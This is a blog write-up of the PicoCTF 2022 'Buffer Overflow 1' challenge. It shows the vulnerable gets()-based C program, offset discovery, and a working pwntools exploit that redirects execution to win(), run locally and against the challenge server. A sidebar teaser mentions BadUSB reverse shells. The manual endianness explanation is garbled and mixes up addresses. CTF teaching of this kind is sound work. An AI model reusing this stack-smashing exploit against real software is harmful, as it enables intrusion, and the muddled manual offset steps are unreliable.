PicoCTF 2022: Buffer Overflow 1

Search for a command to run...

No comments yet. Be the first to comment.
During in the process of reverse engineering binaries, a common problem arises. How do I reverse engineer stripped binaries? There are no symbols to break on, offsets change, scripts don't work, and you ask yourself why am I doing this? Luckily there...

When I was learning how to tackle pwn challenges in CTFs, I had a tough time finding a single, clear guide that could show me the ropes of actually carrying out these exploits. That's why I decided to put together a complete guide that covers everyth...

Using python to capture and project data

What is a BadUSB? A BadUSB is a USB device that acts as a keyboard and injects preprogrammed keystrokes into a computer. A BadUSB is Indistinguishable from a generic keyboard, making it near impossible to detect and patch. You can setup reverse shell...

This is a write-up for PicoCTF 2022: Buffer Overflow 1. This is one of my favourite challenges to do. I recommend solving it for yourself before you read this write-up.
Before we get started we need to first know what a buffer overflow is.
In a portion of your memory, you have a section called the stack. The Stack holds most of the temporary methods, local variables, and reference variables.
Inside the stack, there are 3 sections: the Buffer, Base Pointer, and Return address. Currently, we only need to worry about the Buffer and Return address. The Buffer is only a certain size, but what happens when we "smash the stack" and go over the Buffer? If there is no protection, we can overwrite the Base Pointer and more importantly the return address. This means we can point the return address to any method or piece of code we want. If you want to learn more, click here.
Credit: enscribe.dev
The very first thing we need to do is run checksec to find any Buffer Overflow protections.
┌──(kali㉿desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ checksec ./vuln
[*] '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
In this case, there are no protections.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
If we look in the vuln() function we can see it uses the gets() function. If we can overwrite the return address with the win() 's function return address, we can make it execute the win()'s function and get the flag.
The next thing we need to do is find the offset for the buffer. The hard way would be to keep on guessing the offset until it crashes, but there is an easier way to do it. We can use msfvenom's pattern creation tool. This creates a unique cyclic pattern bigger than the buffer size. When it crashes we read the return address. This return address will have a unique cyclic pattern that we can trace.
┌──(kali㉿desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ msf-pattern_create -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
┌──(kali㉿desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x35624134
zsh: done echo |
zsh: segmentation fault ./vuln
┌──(kali㉿desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ msf-pattern_offset -q 0x35624134
[*] Exact match at offset 44
One important thing to note. This program uses Little Endian encoding. This means all the bytes for the memory address will be flipped as shown in the below image.
Credit: Little and Big Endian Mystery, geeksforgeeks
Below is how to figure out the offset manually. It is important to know how to do it manually to fully understand it.
# Remember this is outputted in Little Endian so when need to re-arrange it
0x35624134 -->\xf6\x91\x04\x08
# Converting from hex to UEFI
\xf6\x91\x04\x08 --> 4Ab5
# Finding the offset
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab|4Ab5|
To check that the offset is 44, we can run the following command:
┌──(kali㉿arch-desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ python3 -c 'print("A"*44+"BBBB")' | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x42424242
zsh: done python3 -c 'print("A"*44+"BBBB")' |
zsh: segmentation fault ./vuln
We know that we've found the offset as the return address is just the hex values for "B".
We can find the win functions address by using readelf -s vuln.
┌──(kali㉿arch-desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ readelf -s vuln | grep "win"
63: 080491f6 139 FUNC GLOBAL DEFAULT 13 win
Now that we know the offset and the address of the win() function's address, we can now craft an exploit. The easiest way to craft this exploit is with Python and the python pwntool module. We can not manually input strings into the console as there will be weird hex bytes that just don't work.
#!/usr/bin/env python3
from pwn import *
elf = ELF('./vuln', checksec=False)
p = process(elf.path)
payload = b"A"*44 + p32(0x80491f6) # p32() will translate the address into little endian
p = process(elf.path)
p.sendline(payload)
p.interactive() # receives flag
This is the output we get when we run the code:
[x] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'
[+] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln': pid 5212
[x] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'
[+] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln': pid 5213
[*] Switching to interactive mode
[*] Process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln' stopped with exit code -11 (SIGSEGV) (pid 5213)
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoctf{colej.net}
[*] Got EOF while reading in interactive
As we can see, we get the dummy flag from our local machine.
Now we need to figure out how to send data to picoCTF. This is when the magic of pwn-tools comes in handy. All you have to do is replace process(elf.path) with remote(host, port). This is the final exploit.
#!/usr/bin/env python3
from pwn import *
beRemote = True
elf = context.binary = ELF('./vuln', checksec=False)
host, port = 'saturn.picoctf.net', [PORT]
p = process(elf.path)# references the elf object
payload = b"A"*44 + p32(0x80491f6) # p32() will translate the address into little endian
if beRemote:
p = remote(host, port)
else:
p = process(elf.path)
p.sendline(payload)
p.interactive() # receives flag
This is the output we get when we run the code:
[x] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'
[+] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln': pid 5490
[x] Opening connection to saturn.picoctf.net on port 63511
[x] Opening connection to saturn.picoctf.net on port 63511: Trying 18.217.86.78
[+] Opening connection to saturn.picoctf.net on port 63511: Done
[*] Switching to interactive mode
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_[REDACTED]}
[*] Got EOF while reading in interactive
As you can see here we got the flag!
I hope you enjoyed this write-up for buffer-overflow 1 for picoCTF. If you have any questions you can always leave a comment below or feel free to reach out to me on Twitter at @dingo418.
32-bit x86 LINUX BUFFER OVERFLOW (PicoCTF 2022 #31 'buffer-overflow1') by John Hamond